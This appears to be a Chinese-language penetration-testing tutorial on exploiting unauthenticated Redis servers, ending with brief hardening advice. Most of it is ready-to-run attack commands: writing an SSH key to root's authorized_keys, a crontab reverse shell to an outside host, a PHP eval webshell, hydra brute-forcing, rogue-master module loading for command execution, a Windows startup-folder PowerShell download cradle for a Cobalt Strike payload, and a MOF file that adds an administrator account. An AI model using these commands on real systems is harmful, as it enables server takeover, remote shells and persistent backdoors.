Redis
默认情况下,会绑定在 0.0.0.0:6379
,这样将会将 Redis
服务暴露到公网上
如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis
的情况下可以利用 Redis
的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
利用条件和方法 #
条件:
redis
服务以root账户运行redis
无密码或弱密码进行认证redis
监听在0.0.0.0公网上
方法:
- 通过
Redis
的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫- 上传SSH公钥获得SSH登录权限
- 通过
crontab
反弹shell- Web目录下写
webshell
- slave主从模式利用
获取info
nmap -A -p 6379 –script redis-info 192.168.1.111 #扫描目标redis info ./redis-cli -h 192.168.1.111 192.168.1.111:6739> info keys * #查看所有key get key_name #查看key的值,例如get password flushall #删除所有数据 del key #删除键为key的数据
上传SSH公钥获得SSH登录权限
原理就是在数据库中插入一条数据,将本机的公钥作为value,(key值随意)
然后通过修改数据库的默认路径为/root/.ssh
和默认的缓冲文件authorized.keys
把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh
下生一个授权的key
首先在自己的电脑上生成key:
ssh-keygen -t rsa
将公钥导入key.txt
文件(前后用\n\n换行,避免和Redis
里其他缓存数据混合),再把key.txt
文件内容写入目标主机的缓冲里
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | ./redis-cli -h 192.168.10.153 -x set test
连接目标主机的Redis
,设置redis
的备份路径为/root/.ssh和保存文件名authorized_keys
./redis-cli -h 192.168.1.111 config set dir /root/.ssh config set dbfilename authorized_keys keys * get test #查看数据是否存在 #将(缓存里的数据key.txt)保存在服务器硬盘上 save #SSH 连接目标主机,无需密码即可登录 ssh 192.168.1.111 #cat /root/.ssh/authorized_keys 可以查看文件内容,是写入的公钥
通过crontab
定时任务反弹shell
原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名
#首先在客户端这边监听一个端口,端口不要冲突 nc -lv 6666 #连接redis,写入反弹shell ./redis-cli -h 192.168.1.111 set test2 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/客户端IP/4444 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save
Web目录写WebShell
./redis-cli -h 192.168.1.111 config set dir /var/www/html set shell "\n\n\n<?php @eval($_POST['wintry']);?>\n\n\n" config set dbfilename shell.php save
hydra -P passwd.txt redis://192.168.1.111 #可以利用hydra爆破redis密码
slave主从复制实现ECE
redis
主从复制
如果当把数据存储在单个Redis
的实例中,当读写体量比较大的时候,服务端就很难承受。
为了应对这种情况,Redis
就提供了主从模式,主从模式就是指使用一个redis
实例作为主机,其他实例都作为备份机
其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式
redis
模块
和mysql
类似,redis
也支持扩展命令,我们需要编写so文件,来扩展命令。
1、我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
2、我们设置备份文件名为so文件
3、设置传输方式为全量传输
4、加载so文件,实现任意命令执行
./redis-cli -h 192.168.1.111 MODULE LOAD /root/redis-rogue-server/exp.so system.exec "whoami"
Windows下的利用 #
1、知道网站绝对路径,写WebShell
192.168.1.9:6379> config set dir D:/phpstudy_pro/WWW OK 192.168.1.9:6379> config set dbfilename shell.php OK 192.168.1.9:6379> set x "<?php phpinfo();?>" OK 192.168.1.9:6379> save OK
2、写入启动项
#由于Start Menu之间有空格,因此需要用双引号将路径包含 192.168.1.9:6379>config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" OK 192.168.1.9:6379>config set dbfilename shell.bat OK 192.168.1.9:6379>set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.105:80/a’))”rnrn”#这是CS用团队服务器生成的马 OK 192.168.1.9:6379> save OK
3、写入MOF(2003-r2实验未成功)
由于不能重启机器也无法获取web目录,想到Mof提权,环境限制只能为win2003
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做 ”托管对象格式” 其作用是每隔五秒就会去监控进程创建和死亡。 就是用了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。 隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
也就是说在c:/windows/system32/wbem/mof/
目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。
保存mof.txt文件,内容如下
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user wintrysec admin666 /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
然后执行
(echo -e "nn"; cat mof.txt; echo -e "nn") > foo.txt cat foo.txt | redis-cli -h 192.168.1.10 -x set mof redis-cli -h 192.168.1.10 config set dir c:/windows/system32/wbem/mof/ config set dbfilename wintrysec.mof save
修复建议 #
使用强密码认证 降权运行 g roupadd -r redis && useradd -r -g redis redis,用低权限账户 限制ip禁止外网访问/修改默认端口 ( redis.conf ) Redis默认不生成日志,可以自己配置
设置防火墙策略
如果正常业务中Redis
服务需要被其他服务器来访问,可以设置iptables
策略仅允许指定的IP
来访问Redis
服务
保证 authorized_keys 文件的安全
为了保证安全,应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限 :
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,还需要设置该文件的 immutable 位权限
chattr +i ~/.ssh/authorized_keys
但是,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。
要避免这种情况,需要设置 ~./ssh 的 immutable 权限
chattr +i ~/.ssh